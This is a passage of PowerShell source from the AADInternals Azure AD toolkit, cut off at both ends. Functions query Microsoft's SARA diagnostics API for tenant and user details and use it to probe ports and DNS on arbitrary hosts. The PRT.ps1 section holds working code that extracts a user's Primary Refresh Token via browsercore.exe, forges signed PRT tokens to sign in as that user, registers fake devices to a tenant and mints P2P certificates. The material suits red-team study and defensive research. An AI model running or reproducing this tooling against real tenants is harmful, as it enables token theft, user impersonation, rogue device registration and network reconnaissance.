= "" "ComplianceClassification" = "Identifiable" } @{ "Name" = "TargetService" "Value" = "Exchange" "ComplianceClassification" = "Identifiable" } @{ "Name" = "IsMsaUser" "Value" = $False "ComplianceClassification" = "Identifiable" } @{ "Name" = "MailboxClient" "Value" = "Outlook" "ComplianceClassification" = "Identifiable" } @{ "Name" = "TestHook" "Value" = "" "ComplianceClassification" = "Identifiable" } ) } $response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck" if($response.ProcessingStatus -eq "Succeeded") { $additionalInfo = $response.AdditionalInfo | ConvertFrom-Json if($additionalInfo.IsSuccess -eq "true") { $item = ([xml]$additionalInfo.TenantUserInfo).TenantUserInfo.FirstChild while($item) { if($item.name -eq "LicenseInformations") { $userInformation[$item.Name] = $item.InnerXml } else { $userInformation[$item.Name] = $item.InnerText } $item = $item.NextSibling } } } # # CasMailbox # Write-Verbose "CasMailBox" $body=@{ "Symptom" = "CasMailbox" "RequestTimeoutInMs" = 180000 "Parameters" = @( @{ "Name" = "AffectedUser" "Value" = $UserName "ComplianceClassification" = "Identifiable" } @{ "Name" = "MailboxClient" "Value" = "Outlook" "ComplianceClassification" = "Identifiable" } @{ "Name" = "Symptom" "Value" = "CasMailbox" "ComplianceClassification" = "Identifiable" } @{ "Name" = "ScenarioSymptom" "Value" = "CasMailbox" "ComplianceClassification" = "Identifiable" } ) } $response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck" if($response.ProcessingStatus -eq "Succeeded") { $userInformation["CASInfo"] = $response.MessageToUser } # # GetUserDiagnostic # Write-Verbose "GetUserDiagnostic" $body=@{ "UserUpn" = $parsedToken.upn "UserSMTPEmail" = $parsedToken.upn "Symptom" = "GetUserDiagnostic" "RequestTimeoutInMs" = 180000 "Parameters" = @( @{ "Name" = "AffectedUser" "Value" = $UserName "ComplianceClassification" = "Identifiable" } @{ "Name" = "Symptom" "Value" = "GetUserDiagnostic" "ComplianceClassification" = "Identifiable" } @{ "Name" = "ScenarioSymptom" "Value" = "GetUser" "ComplianceClassification" = "Identifiable" } ) } $response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck" if($response.ProcessingStatus -eq "Succeeded") { $additionalInfo = $response.AdditionalInfo | ConvertFrom-Json if($additionalInfo.IsSuccess -eq "true") { $userInfo = [xml]$additionalInfo.UserInfo $item = $userInfo.UserInfo.FirstChild while($item) { $userInformation[$item.Name] = $item.InnerText $item = $item.NextSibling } } else { Write-Warning $additionalInfo.ErrorInfo.Split("`n")[0] } } New-Object psobject -Property $userInformation } } # Sep 23rd 2021 function Get-SARATenantInfo { [cmdletbinding()] Param( [Parameter(ParameterSetName='AccessToken', Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [String]$UserName, [Parameter(Mandatory=$False)] [ValidateSet('ExchangeHybridTenant','DirSyncCheck')] [String[]]$Tests=@('ExchangeHybridTenant','DirSyncCheck') ) Begin { } Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com" $parsedToken = Read-Accesstoken $AccessToken if(!$UserName) { $userName = $parsedToken.upn } $tenantInfo = [ordered]@{ "Domain" = $UserName.Split("@")[1] } # # ExchangeHybridTenant Check # if($Tests -contains "ExchangeHybridTenant") { Write-Verbose "ExchangeHybridTenant" $body=@{ "Symptom" = "ExchangeHybridTenant" "RequestTimeoutInMs" = 180000 "Parameters" = @( @{ "Name" = "AffectedUser" "Value" = $UserName "ComplianceClassification" = "Identifiable" } @{ "Name" = "ExchangeHybridTenantClient" "Value" = "OutlookFreeBusy" "ComplianceClassification" = "Identifiable" } @{ "Name" = "Symptom" "Value" = "ExchangeHybridTenant" "ComplianceClassification" = "Identifiable" } @{ "Name" = "ScenarioSymptom" "Value" = "ExchangeHybridTenant" "ComplianceClassification" = "Identifiable" } ) } $response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck" if($response.AdditionalInfo) { $additionalInfo = ($response.AdditionalInfo | ConvertFrom-Json) if($additionalInfo.Category -eq "S") { $hybridInfoXML = ([xml]($response.AdditionalInfo | ConvertFrom-Json).OrganizationRelationShipInfo).HybridInfo $orgRels = @() $onPrems = @() foreach($rel in $hybridInfoXML.OrganizationRelationShips.OrganizationRelationShip) { $orgRels += New-Object psobject -Property @{ "FreeBusyAccessLevel" = $rel.FreeBusyAccessLevel "FreeBusyEnabled" = $rel.FreeBusyEnabled "Identity" = $rel.Identity "IsValid" = $rel.IsValid } } foreach($rel in $hybridInfoXML.OnPremOrganizationRelationShips.OnPremOrganizationRelationShip) { $onPrems += New-Object psobject -Property @{ "FreeBusyAccessLevel" = $rel.FreeBusyAccessLevel "OrganizationGuid" = $rel.OrganizationGuid "OrganizationName" = $rel.OrganizationName "OrganizationRelationship" = $rel.OrganizationRelationship } } $tenantInfo["IsHybrid"] = $additionalInfo.isHybrid $tenantInfo["OrganizationRelationShips"] = $orgRels $tenantInfo["OnPremOrganizationRelationShips"] = $onPrems } else { Write-Warning "ExchangeHybridTenant error $($additionalInfo.ScenarioResultName)" } } } # # DirSyncCheck # if($Tests -contains "DirSyncCheck") { Write-Verbose "DirSyncCheck" $body=@{ "Symptom" = "DirSyncCheck" "RequestTimeoutInMs" = 180000 "Parameters" = @( @{ "Name" = "TenantDomain" "Value" = $UserName.Split("@")[1] "ComplianceClassification" = "Identifiable" } @{ "Name" = "Symptom" "Value" = "DirSyncCheck" "ComplianceClassification" = "Identifiable" } @{ "Name" = "ScenarioSymptom" "Value" = "DirSyncCheck" "ComplianceClassification" = "Identifiable" } ) } $response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck" $tenantInfo["DirSync"] = $response.MessageToAdmin } # Return New-Object psobject -Property $tenantInfo } } # Sep 23rd 2021 function Get-SARAFreeBusyInformation { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [String]$UserName, [Parameter(Mandatory=$True)] [String]$TargetUser ) Begin { } Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com" if(!$UserName) { $userName = (Read-Accesstoken $AccessToken).upn } # # FreeBusyTenantUserInfo # Write-Verbose "FreeBusyTenantUserInfo" $body=@{ "Symptom" = "FreeBusyTenantUserInfo" "RequestTimeoutInMs" = 180000 "Parameters" = @( @{ "Name" = "AffectedUser" "Value" = $UserName "ComplianceClassification" = "Identifiable" } @{ "Name" = "Symptom" "Value" = "FreeBusyTenantUserInfo" "ComplianceClassification" = "Identifiable" } @{ "Name" = "ScenarioSymptom" "Value" = "FreeBusyTenantUserInfo" "ComplianceClassification" = "Identifiable" } @{ "Name" = "TargetSmtpAddress" "Value" = $TargetUser "ComplianceClassification" = "Identifiable" } ) } $response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck" if($response.ProcessingStatus -eq "Succeeded") { $additionalInfo = $response.AdditionalInfo | ConvertFrom-Json if($additionalInfo.IsSuccess -eq "true") { return $response.MessageToUser } else { Write-Error $response.MessageToUser } } } } # Aug 30th 2023 # Uses SARA to test if provided port is available function Test-SARAPort { <# .SYNOPSIS Tests whether the given TCP port is open on the given host using SARA API. .DESCRIPTION Tests whether the given TCP port is open on the given host using SARA API. .Parameter AccessToken Access Token .PARAMETER Host Hostname or IP address of the target .PARAMETER Port TCP port number .Example Get-AADIntAccessTokenForSARA -SaveToCache PS C:\>Test-AADIntSARAPort -Host www.company.com -Port 443 Host Port Open ---- ---- ---- www.company.com 443 True #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$Host, [Parameter(Mandatory=$True)] [String]$Port ) Begin { } Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com" $body=@{ "Symptom" = "PortCheck" "RequestTimeoutInMs" = 180000 "Parameters" = @( @{ "Name" = "HostName" "Value" = $Host "ComplianceClassification" = "Identifiable" } @{ "Name" = "Symptom" "Value" = "PortCheck" "ComplianceClassification" = "Identifiable" } @{ "Name" = "Port" "Value" = $Port.ToString() "ComplianceClassification" = "Identifiable" } @{ "Name" = "IsReadBanner" "Value" = $true "ComplianceClassification" = "Identifiable" } @{ "Name" = "ScenarioSymptom" "Value" = "Port" "ComplianceClassification" = "Identifiable" } ) "UseDiagnosticService" = $true } $response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck" $isOpen = $false if($response.ProcessingStatus -eq "Succeeded") { $additionalInfo = $response.AdditionalInfo | ConvertFrom-Json $isOpen = $additionalInfo.IsSuccess -eq "true" } [pscustomobject][ordered]@{ "Host" = $Host "Port" = $Port "Open" = $isOpen } } } # Aug 30th 2023 # Uses SARA to resolve DNS name function Resolve-SARAHost { <# .SYNOPSIS Tests whether the given hostname can be resolved from DNS using SARA API. .DESCRIPTION Tests whether the given hostname can be resolved from DNS using SARA API. .Parameter AccessToken Access Token .PARAMETER Host Hostname of the target .Example Get-AADIntAccessTokenForSARA -SaveToCache PS C:\>Resolve-AADIntSARAHost -Host www.company.com Host Resolved ---- -------- www.company.com True #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [String]$Host ) Begin { } Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com" $body=@{ "Symptom" = "ResolveHostCheck" "RequestTimeoutInMs" = 180000 "Parameters" = @( @{ "Name" = "HostName" "Value" = $Host "ComplianceClassification" = "Identifiable" } @{ "Name" = "Symptom" "Value" = "ResolveHostCheck" "ComplianceClassification" = "Identifiable" } ) "UseDiagnosticService" = $true } $response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck" $isResolved = $false if($response.ProcessingStatus -eq "Succeeded") { $isResolved = $response.MessageTitle.StartsWith("We succeeded") } [pscustomobject][ordered]@{ "Host" = $Host "Resolved" = $isResolved } } }
GraphAPI_utils.ps1
AADInternals-0.9.4
# This script contains utility functions for Graph API at https://graph.windows.net # Office 365 / Azure AD v2, a.k.a. AzureAD module uses this API # Calls the provisioning SOAP API function Call-GraphAPI { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$Command, [Parameter(Mandatory=$False)] [String]$ApiVersion="1.61-internal", [Parameter(Mandatory=$False)] [ValidateSet('Put','Get','Post','Delete','Patch')] [String]$Method="Get", [Parameter(Mandatory=$False)] $Body, [Parameter(Mandatory=$False)] $Headers, [Parameter(Mandatory=$False)] [String]$QueryString ) Process { # Set the required variables $TenantID = (Read-Accesstoken $AccessToken).tid if($Headers -eq $null) { $Headers=@{} } $Headers["Authorization"] = "Bearer $AccessToken" # Call the API $response = Invoke-RestMethod -UseBasicParsing -Uri "https://graph.windows.net/$TenantId/$Command`?api-version=$ApiVersion$(if(![String]::IsNullOrEmpty($QueryString)){"&$QueryString"})" -ContentType "application/json; charset=utf-8; odata.metadata=none" -Method $Method -Body $Body -Headers $Headers -ErrorAction SilentlyContinue # Return if($response.value) { return $response.value } else { return $response } } }
PRT.ps1
AADInternals-0.9.4
# This file contains functions for Persistent Refresh Token and related device operations # Get the PRT token from the current user # Aug 19th 2020 function Get-UserPRTToken { <# .SYNOPSIS Gets user's PRT token from the Azure AD joined or Hybrid joined computer. .DESCRIPTION Gets user's PRT token from the Azure AD joined or Hybrid joined computer. Uses browsercore.exe or Token Provider DLL to get the PRT token. .Parameter Method Method to use to retrieve the user's PRT token. "BrowserCore" for browsercore.exe or "TokenProvider" for Token Provider DLL .EXAMPLE PS C:\> Get-AADIntUserPRTToken eyJ4NWMiOi... #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [ValidateSet('BrowserCore','TokenProvider')] [String]$Method="BrowserCore" ) Process { # Get the nonce $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token" -Body "grant_type=srv_challenge" $nonce = $response.Nonce if($Method -eq "BrowserCore") { # There are two possible locations $locations = @( "$($env:ProgramFiles)\Windows Security\BrowserCore\browsercore.exe" "$($env:windir)\BrowserCore\browsercore.exe" ) # Check the locations foreach($file in $locations) { if(Test-Path $file) { $browserCore = $file } } if(!$browserCore) { throw "Browsercore not found!" } # Create the process $p = New-Object System.Diagnostics.Process $p.StartInfo.FileName = $browserCore $p.StartInfo.UseShellExecute = $false $p.StartInfo.RedirectStandardInput = $true $p.StartInfo.RedirectStandardOutput = $true $p.StartInfo.CreateNoWindow = $true # Create the message body $body = @" { "method":"GetCookies", "uri":"https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=$nonce", "sender":"https://login.microsoftonline.com" } "@ # Start the process $p.Start() | Out-Null $stdin = $p.StandardInput $stdout = $p.StandardOutput # Write the input $stdin.BaseStream.Write([bitconverter]::GetBytes($body.Length),0,4) $stdin.Write($body) $stdin.Close() # Read the output $response="" while(!$stdout.EndOfStream) { $response += $stdout.ReadLine() } Write-Debug "RESPONSE: $response" $p.WaitForExit() # Strip the stuff from the beginning of the line $response = $response.Substring($response.IndexOf("{")) | ConvertFrom-Json # Check for error if($response.status -eq "Fail") { Throw "Error getting PRT: $($response.code). $($response.description)" } # Get the index of the x-ms-RefreshTokenCredential data or throw error $token_index = $response.response.name.IndexOf("x-ms-RefreshTokenCredential") if($token_index -lt 0) { throw "Could not find the x-ms-RefreshTokenCredential cookie in response" } # Return the data for x-ms-RefreshTokenCredential $tokens = $response.response[$token_index].data return $tokens } else { $tokens = [AADInternals.Native]::getCookieInfoForUri("https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=$nonce") if($tokens.Count) { Write-Verbose "Found $($tokens.Count) token(s)." # Get the index of the x-ms-RefreshTokenCredential data or throw error $token_index = $tokens.name.IndexOf("x-ms-RefreshTokenCredential") if($token_index -lt 0) { throw "Could not find the x-ms-RefreshTokenCredential cookie in response" } # Return the data for x-ms-RefreshTokenCredential $token = $tokens[$token_index]["data"] return $token.Split(";")[0] } else { Throw "Error getting tokens." } } } } # Creates a new PRT token # Aug 26th 2020 function New-UserPRTToken { <# .SYNOPSIS Creates a new PRT JWT token. .DESCRIPTION Creates a new Primary Refresh Token (PRT) as JWT to be used to sign-in as the user. .Parameter RefreshToken Primary Refresh Token (PRT) or the user. .Parameter SessionKey The session key of the user .Parameter Context The context used = B64 encoded byte array (size 24) .Parameter Settings PSObject containing refresh_token and session_key attributes. .Parameter Nonce Nonce to be added to the token. .Parameter GetNonce Get nonce automatically by connecting to Azure AD. .EXAMPLE Get-AADIntAccessTokenForAADJoin -SaveToCache PS C:\>Join-AADIntAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64" Device successfully registered to Azure AD: DisplayName: "My computer" DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7 Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689 Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx" Local SID: S-1-5-32-544 Additional SIDs: S-1-12-1-797902961-1250002609-2090226073-616445738 S-1-12-1-3408697635-1121971140-3092833713-2344201430 S-1-12-1-2007802275-1256657308-2098244751-2635987013 PS C:\>$creds = Get-Credential PS C:\>$prtKeys = Get-UserAADIntPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -Credentials $cred PS C:\>$prtToken = New-AADIntUserPRTToken -RefreshToken $prtKeys.refresh_token -SessionKey $prtKeys.session_key -GetNonce PS C:\>$at = Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken .EXAMPLE PS C:\>New-AADIntUserPRTToken -RefreshToken "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAHenMcJD..." -SessionKey "O1g9LD9+jiE5yFulMcIeCPZrttzfEHyIPtF5X17cA5+=" eyJhbGciOiJIUzI1NiIsICJjdHgiOiJBQUFBQUFBQUFBQUF... .EXAMPLE PS C:\>New-AADIntUserPRTToken -Settings $prtKeys -GetNonce eyJhbGciOiJIUzI1NiIsICJjdHgiOiJBQUFBQUFBQUFBQUF... #> [cmdletbinding()] Param( [Parameter(ParameterSetName='TokenAndKey',Mandatory=$True)] [String]$RefreshToken, [Parameter(ParameterSetName='TokenAndKey',Mandatory=$True)] [String]$SessionKey, [Parameter(Mandatory=$False)] [String]$Context, [Parameter(Mandatory=$False)] [String]$Nonce, [Parameter(ParameterSetName='Settings',Mandatory=$True)] $Settings, [switch]$GetNonce, [bool]$KdfV2 = $true ) Process { if($Settings) { if([string]::IsNullOrEmpty($Settings.refresh_token) -or [string]::IsNullOrEmpty($Settings.session_key)) { throw "refresh_token and/or session_key missing!" } $RefreshToken = $Settings.refresh_token $SessionKey = $Settings.session_key } if(!$Context) { # Create a random context $ctx = New-Object byte[] 24 ([System.Security.Cryptography.RandomNumberGenerator]::Create()).GetBytes($ctx) } else { $ctx = Convert-B64ToByteArray -B64 $Context } $sKey = Convert-B64ToByteArray -B64 $SessionKey $iat = [int]((Get-Date).ToUniversalTime() - $epoch).TotalSeconds # Create the header and body $hdr = [ordered]@{ "alg" = "HS256" "typ" = "JWT" "ctx" = (Convert-ByteArrayToB64 -Bytes $ctx) } $pld = [ordered]@{ "refresh_token" = $RefreshToken "is_primary" = "true" "iat" = $iat } # Derive the key from session key and context if($KdfV2) { $hdr["kdf_ver"] = 2 $derivedContext = Get-KDFv2Context -Context $ctx -Payload $pld } else { $derivedContext = $ctx } $key = Get-PRTDerivedKey -Context $derivedContext -SessionKey $sKey # Fetch the nonce if not provided if([string]::IsNullOrEmpty($Nonce)) { $Nonce = (Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token" -Body "grant_type=srv_challenge").Nonce } $pld["request_nonce"] = $Nonce # As the payload may have changed due to nonce, derive the key again if needed if($KdfV2) { $derivedContext = Get-KDFv2Context -Context $ctx -Payload $pld $key = Get-PRTDerivedKey -Context $derivedContext -SessionKey $sKey } # Create the JWT $jwt = New-JWT -Key $key -Header $hdr -Payload $pld # Return return $jwt } } # Register the device to Azure AD # Aug 20th 2020 function Join-DeviceToAzureAD { <# .SYNOPSIS Emulates Azure AD Join or Azure AD Hybrid Join by registering the given device to Azure AD. .DESCRIPTION Emulates Azure AD Join or Azure AD Hybrid Join by registering the given device to Azure AD and generates a corresponding certificate. You may use any name, type or OS version you like. For Hybrid Join, the SID, tenant ID, and the certificate of the existing synced device must be provided - no access token needed. The generated certificate can be used to create a Primary Refresh Token and P2P certificates. The certificate has no password. .Parameter AccessToken The access token used to join the device. To get MFA claim to PRT, the access token needs to be get using MFA. If not given, will be prompted. .Parameter DeviceName The name of the device to be registered. .Parameter DeviceType The type of the device to be registered. Defaults to "Windows" .Parameter OSVersion The operating system version of the device to be registered. Defaults to "10.0.18363.0" .Parameter Certificate x509 device's user certificate. .Parameter PfxFileName File name of the .pfx device certificate. .Parameter PfxPassword The password of the .pfx device certificate. .Parameter DomainControllerName The fqdn of the domain controller from where the device information is "fetched". Defaults to "dc.aadinternals.com" .Parameter DomainName The domain name of the target Azure AD tenant. Defaults to "dc.aadinternals.com" .Parameter TenantId The tenant id of the target Azure AD tenant where the hybrid join device exists. .Parameter SID The SID of the device. Must be a valid SID and match the SID of the existing AAD device object. .Parameter JoinType The join type "Join" or "Register". Defaults to Join. .EXAMPLE Get-AADIntAccessTokenForAADJoin -SaveToCache PS\:>Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64" Device successfully registered to Azure AD: DisplayName: "My computer" DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7 AuthUserObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4 TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689 Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx" Local SID: S-1-5-32-544 Additional SIDs: S-1-12-1-797902961-1250002609-2090226073-616445738 S-1-12-1-3408697635-1121971140-3092833713-2344201430 S-1-12-1-2007802275-1256657308-2098244751-2635987013 .EXAMPLE Get-AADIntAccessTokenForAADJoin -SaveToCache PS\:>Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64" -JoinType Register Device successfully registered to Azure AD: DisplayName: "My computer" DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7 AuthUserObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4 TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689 Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx" Local SID: S-1-5-32-544 Additional SIDs: S-1-12-1-797902961-1250002609-2090226073-616445738 S-1-12-1-3408697635-1121971140-3092833713-2344201430 S-1-12-1-2007802275-1256657308-2098244751-2635987013 .EXAMPLE PS C\:>Join-AADIntDeviceToAzureAD -DeviceName "My computer" -SID "S-1-5-21-685966194-1071688910-211446493-3729" -PfxFileName .\f24f116f-6e80-425d-8236-09803da7dfbe-user.pfx -TenantId 40cb9912-555c-42b8-80e9-3b3ad50dda8a Device successfully registered to Azure AD: DisplayName: "My computer" DeviceId: f24f116f-6e80-425d-8236-09803da7dfbe AuthUserObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4 TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b Cert thumbprint: A531B73CFBAB2BA26694BA2AD31113211CC2174A Cert file name : "f24f116f-6e80-425d-8236-09803da7dfbe.pfx" #> [cmdletbinding()] Param( [Parameter(ParameterSetName="Hybrid", Mandatory=$True)] [String]$PfxFileName, [Parameter(ParameterSetName="Hybrid", Mandatory=$False)] [String]$PfxPassword, [Parameter(ParameterSetName="HybridCert", Mandatory=$True)] [Parameter(ParameterSetName="Hybrid", Mandatory=$True)] [String]$SID, [Parameter(ParameterSetName="HybridCert", Mandatory=$True)] [Parameter(ParameterSetName="Hybrid", Mandatory=$True)] [GUID]$TenantId, [Parameter(ParameterSetName="HybridCert", Mandatory=$False)] [Parameter(ParameterSetName="Hybrid", Mandatory=$False)] [Parameter(ParameterSetName="Normal", Mandatory=$False)] [String]$DomainName, [Parameter(ParameterSetName="HybridCert", Mandatory=$False)] [Parameter(ParameterSetName="Hybrid", Mandatory=$False)] [String]$DomainControllerName="dc.aadinternals.com", [Parameter(ParameterSetName="HybridCert", Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(ParameterSetName="Normal", Mandatory=$False)] [String]$AccessToken, [Parameter(ParameterSetName="Normal", Mandatory=$False)] [ValidateSet('Join','Register')] [String]$JoinType="Join", [Parameter(ParameterSetName="Normal", Mandatory=$True)] [Parameter(ParameterSetName="Hybrid", Mandatory=$True)] [Parameter(ParameterSetName="HybridCert", Mandatory=$True)] [String]$DeviceName, [Parameter(ParameterSetName="Normal", Mandatory=$False)] [Parameter(ParameterSetName="Hybrid", Mandatory=$False)] [Parameter(ParameterSetName="HybridCert", Mandatory=$False)] [String]$DeviceType="Windows", [Parameter(ParameterSetName="Normal", Mandatory=$False)] [Parameter(ParameterSetName="Hybrid", Mandatory=$False)] [Parameter(ParameterSetName="HybridCert", Mandatory=$False)] [String]$OSVersion="10.0.19041.804" ) Process { if(!$TenantId) { # Get from cache if not provided try { # Try first with access token retrieved with BPRT $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "b90d5b8f-5503-4153-b545-b31cecfaece2" -Resource "urn:ms-drs:enterpriseregistration.windows.net" } catch { $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" } # Get the domain and tenant id $tenantId = (Read-Accesstoken -AccessToken $AccessToken).tid } # Load the Certificate for Hybrid Join if not provided if($PfxFileName) { $Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable } # Register the Device $DeviceCertResponse = Register-DeviceToAzureAD -AccessToken $AccessToken -DeviceName $DeviceName -DeviceType $DeviceType -OSVersion $OSVersion -Certificate $Certificate -DomainController $DomainControllerName -SID $SID -TenantId $TenantId -DomainName $DomainName -RegisterOnly ($JoinType -eq "Register") if(!$DeviceCertResponse) { # Something went wrong :( return } [System.Security.Cryptography.X509Certificates.X509Certificate2]$deviceCert = $DeviceCertResponse[0] $regResponse = $DeviceCertResponse[1] # Parse certificate information $oids = Parse-CertificateOIDs -Certificate $deviceCert $deviceId = $oids.DeviceId.ToString() $tenantId = $oids.TenantId.ToString() $authUserObjectId = $oids.AuthUserObjectId.ToString() # Write the device certificate to disk Set-BinaryContent -Path "$deviceId.pfx" -Value $deviceCert.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx) # Remove the private key from the store Unload-PrivateKey -PrivateKey $deviceCert.PrivateKey Write-Host "Device successfully registered to Azure AD:" Write-Host " DisplayName: ""$DeviceName""" Write-Host " DeviceId: $deviceId" Write-Host " AuthUserObjectId: $authUserObjectId" Write-Host " TenantId: $tenantId" Write-Host " Cert thumbprint: $($regResponse.Certificate.Thumbprint)" Write-host " Cert file name : ""$deviceId.pfx""" foreach($change in $regResponse.MembershipChanges) { Write-Host "Local SID:" Write-Host " $($($change.LocalSID))" Write-Host "Additional SIDs:" foreach($sid in $change.AddSIDs) { Write-Host " $sid" } } } } # Generates a new P2P certificate # Aug 21st 2020 function New-P2PDeviceCertificate { <# .SYNOPSIS Creates a new P2P device or user certificate using the device certificate or PRT information. .DESCRIPTION Creates a new peer-to-peer (P2P) device or user certificate and exports it and the corresponding CA certificate. It can be used to enable RDP trust between devices of the same AAD tenant. .EXAMPLE Get-AADIntAccessTokenForAADJoin -SaveToCache PS\:>Join-AADIntAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64" .Parameter Certificate x509 certificate used to sign the certificate request. .Parameter PfxFileName File name of the .pfx certificate used to sign the certificate request. .Parameter PfxPassword The password of the .pfx certificate used to sign the certificate request. .Parameter TenantId The tenant id or name of users' tenant. .Parameter DeviceName The name of the device. Will be added to DNS Names attribute of the certificate. .Parameter OSVersion The operating system version of the device. Defaults to "10.0.18363.0" .Parameter RefreshToken Primary Refresh Token (PRT) or the user. .Parameter SessionKey The session key of the user .Parameter Context The context used = B64 encoded byte array (size 24) .Parameter Settings PSObject containing refresh_token and session_key attributes. .EXAMPLE PS C\:>New-AADIntP2PDeviceCertificate -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -DeviceName "mypc1.company.com" Device P2P certificate successfully created: Subject: "CN=d03994c9-24f8-41ba-a156-1805998d6dc7, DC=4169fee0-df47-4e31-b1d7-5d248222b872" DnsName: "mypc1.company.com" Issuer: "CN=MS-Organization-P2P-Access [2020]" Cert thumbprint: 84D7641F9BFA90767EA3456E443E21948FC425E5 Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-P2P.pfx" CA file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-P2P-CA.der" .EXAMPLE Get-AADIntAccessTokenForAADJoin -SaveToCache PS C:\>Join-AADIntAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64" Device successfully registered to Azure AD: DisplayName: "My computer" DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7 Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689 Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx" Local SID: S-1-5-32-544 Additional SIDs: S-1-12-1-797902961-1250002609-2090226073-616445738 S-1-12-1-3408697635-1121971140-3092833713-2344201430 S-1-12-1-2007802275-1256657308-2098244751-2635987013 PS C:\>$creds = Get-Credential PS C:\>$prtKeys = Get-UserAADIntPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -Credentials $cred PS C:\>New-AADIntP2PDeviceCertificate -RefreshToken $prtKeys.refresh_token -SessionKey $prtKeys.session_key User certificate successfully created: Subject: "[email protected], CN=S-1-12-1-xx-xx-xx-xx, DC=0f73eaa6-7fd6-48b8-8897-e382ba96daf4" Issuer: "CN=MS-Organization-P2P-Access [2020]" Cert thumbprint: A7F1D1F134569E0234E6AA722354D99C3AA68D0F Cert file name : "[email protected]" CA file name : "[email protected]" #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Certificate',Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)] [string]$PfxFileName, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)] [string]$PfxPassword, [Parameter(ParameterSetName='TokenAndKey',Mandatory=$True)] [String]$RefreshToken, [Parameter(ParameterSetName='TokenAndKey',Mandatory=$True)] [String]$SessionKey, [Parameter(Mandatory=$False)] [String]$Context, 